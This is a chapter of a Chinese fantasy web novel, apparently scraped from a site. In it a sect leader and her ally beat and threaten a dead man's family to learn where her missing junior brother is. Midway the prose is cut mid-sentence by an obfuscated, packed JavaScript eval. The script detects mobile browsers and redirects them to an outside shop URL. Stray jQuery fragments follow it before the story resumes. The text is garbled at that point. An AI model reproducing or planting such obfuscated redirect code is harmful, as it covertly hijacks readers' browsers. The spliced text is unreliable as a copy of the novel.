169. 清寒余孽

作品:《宗主深谙训狗之道

    两个弟子皆是一怔。


    “我记得我们把火扑灭后,没找着师父,旁边的人说师父受了伤晕过去被送到镇上医馆了。”韩通每说一句话,眉头便皱紧一分,“我和阿博就赶去医馆,可医馆的大夫说没见着师父。我们就在镇上找,然后那个书院的老人家就和我们说师父在他家养伤,现下腿伤着了动不了,让我们去帮忙,后来的事情……真是一点也记不起来。”


    “那个老人旁人是不是都喊他徐伯?”


    韩博连忙点头道:“对,就叫他徐伯。”


    韩纪已确定这徐伯有问题,不断回想着两次与他相见时他说过的话,心中已有了一个大概的推测。


    这个徐伯恐怕就是当年清寒道的余孽。


    事到如今,她只恨自己没有辨认他慈祥和蔼面皮下的真面目,没有察觉他的谎言,心中气得不得再气,恨得不能再恨。既气这些恶徒,又气自己;既恨这些恶徒,更恨自己。


    事情紧急,迫在眉睫,韩通韩博也不敢耽搁,连忙穿好衣裳,打起精神,撑着虚弱无力的身体跟在韩纪身后,要即刻动身赶回白石山。


    迈过庙门,韩纪停住脚步,回身望着庙内那些向韩通韩博投来关切目光的乞丐,偏首说道:“他们救了你们一命,快给人家磕个头,谢谢他们出手搭救之恩。”


    韩通韩博赶忙跪在地上郑重地朝庙内乞丐磕了个头,才在韩文韩墨的搀扶下踏上飞剑,跟着韩纪赶回白石山。


    韩纪赶到徐伯家门前,只见院中人影绰绰,屋内传来一声又一声悲怆的痛哭声,哀嚎声。她心猛地下坠,双手拨开重重人影,闯入房中,只见四五个青年人身披孝服跪在床边失声痛哭,而徐伯躺在床上,面容祥和,脸色灰白,已经去世了。


    又晚了一步!


    又晚了一步!


    可是韩昭……韩昭还不知道在哪里!


    韩纪几乎要疯了!


    她几乎要冲上去拎着徐伯的尸身质问,却在双手要触及被褥之前,被人拦腰挡了回来。


    院外,韩言韩树正蹙眉听韩通韩博讲着一路上的见闻,韩文韩墨则警惕地打量着出入院中的人手,企图找到些蛛丝马迹。


    眼见韩纪和洛渭出来了,六名弟子站直了身子,瞧着二人。


    韩纪道:“他又是怎么死的?”语声中已藏着挥不去的怒气。


    韩言上前一步答道:“洛宗主一收到金符便立刻带我们赶了回来,但是我们赶到的时候,徐伯已经死了。我检查了尸体,无疾而终,寿终正寝,没有异样。”


    韩纪气得脸色发红“他刻意隐瞒,害得韩通韩博差点死了,现下阿昭生死未卜,他居然还能寿终正寝,无疾而终!”


    洛渭赶忙道:“我试过了,他是凡人,没有修习过仙术妖法,他一死魂魄就散了,根本没办法用聚灵术拘回问询。”


    韩纪缓缓摇头,颤声道:“我等不了了,我一刻也等不了了!”说罢,她闯进院中,双手捻诀,只见院内白光一闪,所有聚集在此的百姓都在刹那之间睡倒在地。


    洛渭见状,急声道:“你们两个守住院门巷口,不许任何人进来;另外两个找个空屋把院里睡倒的人搬走,免得冻死。”他话音未落,房内就传来一阵巨响,紧接着,所有的哭嚎声霎时间都止住了。


    屋内,满地狼藉,徐伯的尸首翻倒在地,韩纪靠着床架站着,在她对面,那四个披麻戴孝的青年人被灵绳捆着跪在地上,眼见韩纪对尸身不敬,正满眼恨意地破口大骂。


    洛渭进屋本是担心韩纪盛怒之下杀了这几个凡人,谁曾想一推门进来,便听见这些人嘴里说着些不干不净的话,当即走上前去,抬手朝那骂得最凶的男人脸上扇去。


    一开始,其余三人还对着洛渭破口大骂。他们心知韩纪是仙门中人,不可能真的将他们杀了,因而心中并不十分恐惧,可瞧着洛渭打了数十个耳光后毫无停手之意,心中渐渐地也怕了。


    眼见那男人已被打掉了几颗牙齿,眼歪嘴斜,满口喷血,双脸肿胀如猪头,男人的妻子变了脸色,大叫道:“别打了,再打要出人命的!别打了!”


    可无论她如何哭喊哀求,那扇耳光的男人从不曾看她一眼,手上动作反而越来越快,越来越狠。、


    终于,她将目光望向靠床站立,脸色阴沉,眼神冰冷的女人身上,乞求道:“求求您让他停手,让他停手,真的不能再打了,真的不能再打了。”


    韩纪抬眸看向跪地哭嚎的女人,洛渭停手,将那男人重重摔在地上。


    眼见着女人想起身奔至那男人身边,韩纪伸手在木制的床架上重重一敲。


    “看着我,告诉我,韩昭在哪儿,是谁在背后指使你们。”


    女人身子重重一震,如同惊弓之鸟一般瑟缩着,却不敢违抗韩纪的命令,抬起头来,颤抖的眼眸直视着她,失声道:“我……我不知道……我听不懂……我不知道你在说什么……是不是我公公……他无意间得罪了你……他没有恶意的……他就是太过顽固正直……他是个好人……我向你赔罪……我给你赔罪……我替他给你磕头……我给你磕头……”


    “好人?”韩纪伸手揪住女人的衣领止住她不住磕头的动作,迫使她仰头直视着自己,冷冷一笑,“我告诉你,我师弟也是好人。但是你公公……你口中的这个好人和妖人勾结,在明德书院纵火,引我师弟去救火。现下我师弟生死未卜,他居然寿终正寝了。”


    女人的额头在地上砸破,鲜红粘稠的血如长虫一般自模糊不清的伤口中流出,又滴落到韩纪手上。


    韩纪胸膛起伏,长呼一口气,冷冷道:“我不需要你给我赔罪,我也不需要你给我磕头,如果我师弟平安无事,我甚至可以给你赔罪,给你磕头。你好好想一想,你的公公在明德书院起火之前做了什么,见了什么人,死之前又做了什么,见了谁。”


    女人望着韩纪眼中的恨意,瞧着她那近乎冷酷到狰狞的神情,已然吓


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16964118|177381||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    呆了,怔了半晌,咽下一口唾沫,方才缓缓摇头道:“不……不可能的……那救火的公子是仙门中人……他是好人……我公公怎么会做这种事呢?一定是弄错了……”


    韩纪猛地松开女子的衣襟,抬眼看向洛渭,道:“继续打。”


    屋内,再次响起惨叫声,耳光声,哭嚎声,只不过所有的声音都被一道隔音咒隔绝在内,屋外寒风呜咽与雪花落地的声音。


    韩纪耐心耗尽,冷眼扫过屋内四张情状各异的脸,缓缓道:“能让人浑身剧痛,而外表不留下一点痕迹的审问方式我会得很多,只是那样你们能不能活命我就保证不了了。”


    她顿了顿,恐吓道:“我今夜来此,只为了找我师弟,谁先说出线索,谁就活命,其余人,就都去死。”


    此言一出,屋内的哀嚎声停住刹那,紧接着又随着洛渭的动作响了起来。


    终于,那一开始倒在地上的男人弓起身子,失声道:“我说……我把我知道的都告诉你……你……你放过我娘子……她有身孕……”


    其余两人连忙哭喊道:“哥……哥……你知道什么你快说……你别光救嫂嫂……你也救救我们……”


    男人眼含热泪,颤声道:“我不知道我父亲干了些什么,我只知道大约在半月之前,有一天夜里我娘子腹痛难忍,我想着起来给她熬药喝,就透过窗影看见一个黑影立在院里和我父亲说话,他们具体说的是什么我没听清。自那之后,我父亲就变得很奇怪,总是一个人去明德书院,他不让我跟着,我自然也不敢跟着。后来,明德书院走水,我父亲像是早料到一般带着我们去救火,救完火后,我回了家,但是等了很久,也没见他回来,我就返回去找他,就望见他站在林子里和人说话。”


    泪水,因恐惧、害怕、疼痛或许还因后悔自责流下的泪水洗净了他脸上的鲜血,他仰起头来,看着韩纪,道:“我发誓……我真不知道他在害人……那位公子救了那么多人……我如果知道他是害那位公子……我肯定不允许的……我知道他犯了错……父债子偿……你杀了我放了他们三个……”


    韩纪闭上眼,道:“你还没有资格和我讨价还价。”


    男人因疼痛而倒吸着凉气,努力回想着近日来父亲的一言一行,拼命回忆着那些人的衣着,样貌,气味,片刻后抬起头来,道:“那些人手上……手上好像有个刺青,模样很奇怪。我曾经在一个信封上看见过,你松开我,我立刻去找。”


    韩纪手指轻抬,灵绳松开。他从地上爬起,踉踉跄跄地奔入另一间屋子,洛渭也紧紧地跟着他,以防他做些超出预料之事。


    不多时,一张带着淡淡异香的信封递到韩纪面前。


    这是被施了法的信封,只要点燃,便能送到施术之人手中。


    洛渭垂目看着信封上的图腾,冷冷道:“飞鹰族,四十年前脱离万法妖宗自立门户,现下总坛应当在云山岛一带,但那里群山环伺,具体在何处还不得知。”